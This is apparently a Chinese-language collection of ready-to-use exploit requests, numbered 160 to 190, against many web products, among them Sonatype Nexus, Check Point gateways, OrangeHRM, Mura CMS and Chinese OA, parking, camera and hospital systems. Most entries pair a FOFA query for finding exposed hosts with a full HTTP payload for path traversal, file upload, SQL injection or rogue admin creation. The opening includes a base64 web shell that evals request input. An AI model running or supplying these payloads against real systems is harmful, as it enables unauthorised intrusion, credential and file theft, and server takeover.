2 i! v$ I5 I  }( f$ j. _' U<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
# `+ `# b- |4 I</jobUpload>
</soap:Body>
, a. [% r# a9 A4 p0 R+ w7 z' ]</soap:Envelope>
- e: V* d, y( g

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
9 A6 O7 B) t8 e3 X( J: m5 Y: b0 e

' r+ S) Z/ M; }5 H8 }160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
7 O, a! o3 {- N6 j# w, HFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
8 ^' N8 M- ]) K. W( B7 {0 O! hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
+ `: }4 q1 C& tConnection: close
! ]4 v# A9 f( ~# R5 P" @Accept: */*
Accept-Language: en
Accept-Encoding: gzip
- ~5 D7 {# W- F4 h, @( S* r- x
$ P! R  f" T$ k+ @" i) j( U9 f9 p
. }% v8 e( r; r161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
) x- n4 \3 Y, }第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
1 K0 f) T& m) Y# \$ w7 QPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
: X) W1 [; N/ S: c; t! h; \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ r  f' e3 a! d) xConnection: close
4 _7 u+ U0 t+ l; f6 i7 V: [Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

( h+ ?" z" B( d* V<?xml version="1.0" encoding="utf-8"?>
4 g4 |/ k. {) A<soap:Envelope xmlns:xsi="
6 S% _  G" p3 O8 Q2 f$ ~9 \4 jhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* F, @( X, ~/ {: H<soap:Body>
  i6 W# v0 l8 s& L<UploadResume xmlns="http://tempuri.org/">
( B4 V2 Q4 \' W! d- e  V<ip>1</ip>
) Q3 X8 h; U4 W3 E4 p<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
9 b! B# Q7 ?+ h. y1 |  u. I9 Y<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
) O. M0 q) u: G; S2 `
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
4 R. H* i- [* ^) a; f6 QFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
# g# M/ P& s0 n" y& j+ y0 e# ^. ^7 XContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
+ b0 [+ ?5 E- _( ]0 F2 E6 bAccept-Encoding: gzip
4 z) F0 B$ ]  n' B& z  J6 f
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
! ^1 s4 K% a8 g! H6 D
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

/ a& N5 C" y5 |! O+ C4 uupload
------WebKitFormBoundaryeegvclmyurlotuey
; O+ H8 k+ @" |% ~# o! vContent-Disposition: form-data; name="responderId"

2 b' D# a. `  Y1 a7 O# RResourceNewResponder
6 R; J/ i' ~/ v  Z------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
# c, t4 r0 Q; M2 ?
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

- r$ j# y0 c( S# q6 N
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
& r4 s  _$ t+ i* S) ~4 M
% H0 _, w8 }5 z+ K5 h. C0 r1 Y163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
1 m; H. Y4 P; g  x5 rFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
  [2 l  [" u6 U8 q5 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
, v4 `7 P9 H- Y+ K8 s3 S6 B* fContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 Y& h8 O3 S0 ~) w: b7 `- {6 ZContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
. n+ }& P8 f, _5 @8 |% @- }Content-Disposition: form-data; name="name"
  |9 Q$ r! G) m
2 C( _. D8 N, X4 ]* s( F- T" J1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
2 l. l& N# }& `* K/ D8 vContent-Type: image/jpeg
# [0 D7 g  @' Q9 V+ R3 ?
4 ~/ P. u2 v, V! J9 T2 Rrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

& y) h$ s' w* F/ E* T. Q( h/ z, {
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 V3 \4 y3 H. Y# c4 J2 hFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
, o. x  O: K2 n; S* E' SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
6 D6 r4 Y* B/ [4 v, P0 [" gContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
- w* o. i+ i* p: @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
( a) Q* ^( j2 u7 [6 h  I6 NConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
: c' \/ k, S9 Y" `" t
0 e& g0 v" e- K9 }# \3 I8 n------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
7 t, p# O6 D' W1 o4 ]Content-Type: image/jpeg

1 d, J5 d3 _8 G$ V$ E<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
) ~5 T) F/ p7 L/ P; Z1 c4 |& S  Y" `5 x------dqdaieopnozbkapjacdbdthlvtlyl--

; F( _# q, w% n' T8 e4 m% j' S) o
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

, t# k- O6 Z2 r6 z0 U165. OrangeHRM 3.3.3 SQL 注入
* P  ]: X1 {1 {( `+ T2 }- _CVE-2024-36428
FOFA: app="OrangeHRM-产品"
& ~% s- R; [  C" H& }% Z& M' `- h% NURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
' a3 y# t( K# H2 y6 T) y* \! e+ ~
7 I: s, V1 G4 n* e5 m- p0 c
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
1 D' u! Z1 b6 @Pragma: no-cache
2 c( n  ?) _$ C( ]0 \# \6 Z5 T% zCache-Control: no-cache
8 r. i8 C6 E5 r2 UUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# b4 q8 u2 K3 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
4 f; L, n4 z8 S3 f# s& oConnection: close
9 G% a+ ?2 B2 ~Content-Type: application/x-www-form-urlencoded
Content-Length: 89

7 O$ A) ^* {$ h+ d2 L. \$ FMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 w9 b' F% \' C- FFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
! Q3 H% Q" f$ t, r6 `8 T6 S* }GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
* Q- w( a! V* ~' v+ Q7 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 M9 B- E3 C/ L% U: XAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: K: i5 F; P* `, O

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
" P/ [. Y4 X0 G3 D6 b6 MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close

/ u, e+ B* W4 U
' n9 v; o) Y, @# p  \+ t
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
0 i0 U! C: G$ |) W7 R  GGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
4 O% c0 U$ p( P8 o! `- B0 J! _: _Host: your-ip
+ z- R! d! C' j& rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
; B+ U0 ]  a$ I5 r5 Q) I4 R; rAccept-Encoding: gzip, deflate
) g2 \- a; `# b4 y6 w3 BConnection: close
0 J$ e. |( E  O4 J$ }; F. d% @
  y2 @! S, G+ H/ B4 l+ M3 d9 S

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
9 J' U1 a4 @% g4 V# NFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
" P$ _  ]  I. x% T; H) n: tUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
; t+ C. ^9 I3 ?. @. ?

171. 通天星CMSV6车载定位监控平台 SQL注入
( v* k: J; o  T7 q) Z* ZFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

6 F. p6 m4 f8 R3 q

172. DT-高清车牌识别摄像机任意文件读取
6 F, ~# [1 M4 |) r$ j1 o2 CFOFA：app="DT-高清车牌识别摄像机"
* o2 T# j- ~# R, [1 q0 G+ o- ?& S8 MGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" _* i" [' U* A* U( D1 t6 rAccept-Encoding: gzip, deflate
Accept: */*
% F3 v- E! i7 @3 G4 y0 wConnection: keep-alive

) d1 V. O$ B, D* T% o3 s( E+ ]

! |, e  K. S2 V8 @: a173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
: c. e% b' F* S" E3 j9 i  o9 SHost: your-ip
Content-Type: application/x-www-form-urlencoded
1 G. X, n* j/ ^, n% _3 @: k% Q4 A; F
& D  I5 P: A* m9 r* w; e) o: }aCSHELL/../../../../../../../etc/shadow
1 q' k. X4 n: X6 W


174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- L, n* u, D  l. n! N! rFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
3 M, Z5 f+ N. j: t1 Q7 EHost: your-ip
7 `0 N" i2 @3 p3 ~' c9 g, bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" @0 z6 X8 {7 o1 r+ O- z- V, fAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close



" @) d$ q" {! D, e! F; Z175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
5 w' ]$ w5 J  C6 g5 yGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" q' C! Y1 K0 \7 R3 U, ?: q* TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  M$ `- k3 z) w3 @% d' D: l4 gAccept-Encoding: gzip, deflate
$ E. U2 x5 E% C$ h$ |& ZConnection: close
+ V9 ^/ _: A( ~5 u) K3 G/ ]Upgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
2 a  z! B% E5 BPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
* ?: a& A8 y( s( hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
( Y$ \; E7 I+ V6 j0 b. M! ]
/ Y3 z2 ^6 {& n- a# `- [------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
. o1 |+ \0 ?1 {1 ~! Y1 s7 CContent-Type: image/png
1 x/ i9 ~: y2 U4 x
" l# ], o  d! N, N0 I; F* [<?php system("cat /etc/passwd");unlink(__FILE__);?>
/ H, @# x! X: Q  n------WebKitFormBoundaryOKldnDPT
% n, Q9 [; F6 o' u) T2 wContent-Disposition: form-data; name="uploadtime"
7 n1 ]9 f: S, ^$ S) K
/ A9 p1 K' p, s8 S1 v
4 L* N, R1 r& i3 u9 w------WebKitFormBoundaryOKldnDPT--



$ I' B0 S. M7 |177. H3C路由器敏感信息泄露
) a, p$ O2 x# \* M. V8 i% r0 n4 C/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/ B. ^& ~9 d) T  ~/userLogin.asp/../actionpolicy_status/../M60.cfg
/ w3 f; L! {* J% s9 s: D+ f* T/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
* B* }% x3 Y% O9 N9 P5 @" J4 I/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
1 q2 J& c% \0 ~9 w/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
  y4 v: @5 A0 |* J- [: B4 H4 f2 i/userLogin.asp/../actionpolicy_status/../ER5200.cfg
" G% o/ z! F: j. l/userLogin.asp/../actionpolicy_status/../ER5100.cfg
6 `3 H2 e; H2 k/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
- h; a' l) {8 }0 L1 ]/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
4 E3 L6 p2 j3 I+ R% e* Z8 }/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# w/ C  [8 n6 [6 e9 d/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
3 j3 ~6 X( y% E" R  p8 y) z/userLogin.asp/../actionpolicy_status/../ER3100.cfg
- p% i# n5 Z4 A/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
* D) k4 R6 n* y+ j  F. o4 q) s

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
4 M' `5 P- p' Y  o1 w% i: g: V9 FFOFA：header="/selfservice"
- G1 X7 e- Z, g' qPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 o+ M" C: W8 N# x% v9 kContent-Length: 252
+ y% z9 L" O( ~" W  i& C. p. CAccept-Encoding: gzip, deflate
* V% h% I( r8 T2 W" _& VConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
# B" ]  v  p- S# o9 @5 a0 A4 V8 X-----------------aqutkea7vvanpqy3rh2l
% o. C4 ~: p3 OContent-Disposition: form-data; name="12234.txt"; filename="12234"
5 L9 g2 W; q  r$ T8 f0 }Content-Type: application/octet-stream
- B0 X9 `; y7 ?( m# ~0 ~# K1 m7 NContent-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
2 @/ C9 ?3 s9 J5 ~2 Y2 f6 J& v
' M9 I6 [5 {+ {" L0 `
6 |9 V' |' }/ [- ~1 aGET /imc/primepush/%2e%2e/flex/12234.txt
- s$ c+ m2 w# n9 X
4 a) B( C6 j. m% b) A" S
, w& m2 r  W, _9 y: s; a179. 建文工程管理系统存在任意文件读取
6 q3 R! E; i% S! B5 a( q7 ~  |POST /Common/DownLoad2.aspx HTTP/1.1
# j6 i1 r* b) ~. e" F6 QHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
1 a8 y& L4 a0 J
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
* h3 k8 _5 E; y: M, FFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
" S( s7 y9 K2 v2 Y! N. l% r5 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 C5 p8 s- r0 Y, NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ ~: F- u, ]! ~1 z2 k, P! }/ yAccept-Encoding: gzip, deflate
+ ^% t3 {3 ~0 Y. D7 NAccept-Language: zh-CN,zh;q=0.9
/ Y2 k0 Q! d, q7 zConnection: close
' m% F! @2 N$ [, V" e% H

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ ^+ r' ^! y6 H3 r4 }FOFA："PDCA/js/_publicCom.js"
& x  ~' V8 V, v; w, mPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
$ {" R  O: Y/ R. tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& i1 Z* b3 ]0 P% G4 \" }% X; A& s  ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, [0 O  @5 p) j5 Y; ]Accept-Encoding: gzip, deflate, br
! m& O# ~% L2 U% |; \5 q4 wAccept-Language: zh-CN,zh;q=0.9
/ s, |; d3 s1 |( E9 KConnection: close
' {" @. J3 a- vContent-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
: M; n' G% L6 B

+ e- W  ]) w; R182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
+ X! V# _3 `! g9 w* f; E3 `/ GPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
: Z. B3 |6 {9 ^. {. g; d: Z0 rHost: your-ip
& z8 K; }2 t8 ?; q* x& U# uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ w4 D% k! w% [' s. m5 EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) H% t2 p6 D, F* |" J9 QContent-Type: application/x-www-form-urlencoded
& M9 m# R# y9 d, Y

username=test1234&pwd=test1234&savedays=1
( n6 J- ]6 p" C' F! s1 ~

' j+ @& f9 o0 P4 W: ]; f183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
% E1 ]4 J) X8 r0 r. HFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
5 R' B* s, _/ u( qUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

" w. y; O5 g6 n1 r
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
" T9 I* U. W/ ]3 L' Q: q1 dPOST /soap/AddUser HTTP/1.1
" Z3 \! m# c& u; p) P6 W) U" J8 e$ dHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
" A. Q- `3 k& G$ p, s: UContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

6 O; l! I% n0 O5 b* l5 n, u
- S# A& y- V* w1 d: L8 D& I( o185. 瑞友天翼应用虚拟化系统SQL注入
8 F) q. N8 T2 g6 l; K9 @- O( l" uversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

# Y9 V" G- }7 z, V+ ^0 m
+ J/ \% U8 u6 A0 {0 W) @- U9 N186. F-logic DataCube3 SQL注入
/ p- n  |7 J3 o' M; ^  }; f& e2 gCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
8 R( M. m  q" W' u0 x1 iPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
+ g5 a  O8 n9 W0 A, z' QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

3 e( v: F& H7 Z. b; Z' Qreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

& s. G. ]" @5 f( ?# q
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded


object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
1 e/ S! M5 l. _7 q$ _
) B/ U( _/ s5 A4 @4 ]
4 }6 ~1 r6 {$ U' {188. 叁体-佳会视频会议 attachment 任意文件读取
2 I9 f: c. J1 n7 N# V/ Bversion <= 3.9.7
2 J. Y' ]1 y  m. t, G+ u! tFOFA：body="/system/get_rtc_user_defined_info?site_id"
) j7 m8 U6 V, x' H. jGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
3 |0 i! X) D2 y- kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: e3 G6 u- R+ P4 T) p6 HAccept-Encoding: gzip, deflate
, K, T( y6 N# Y; E& o; V4 BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
- G& Y- K- s) z1 t, jGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  O3 J: O9 c) `7 {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 ?. s: M' _; h2 O/ b  L5 YConnection: close


& E& }% I0 O$ K1 U  j7 C190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
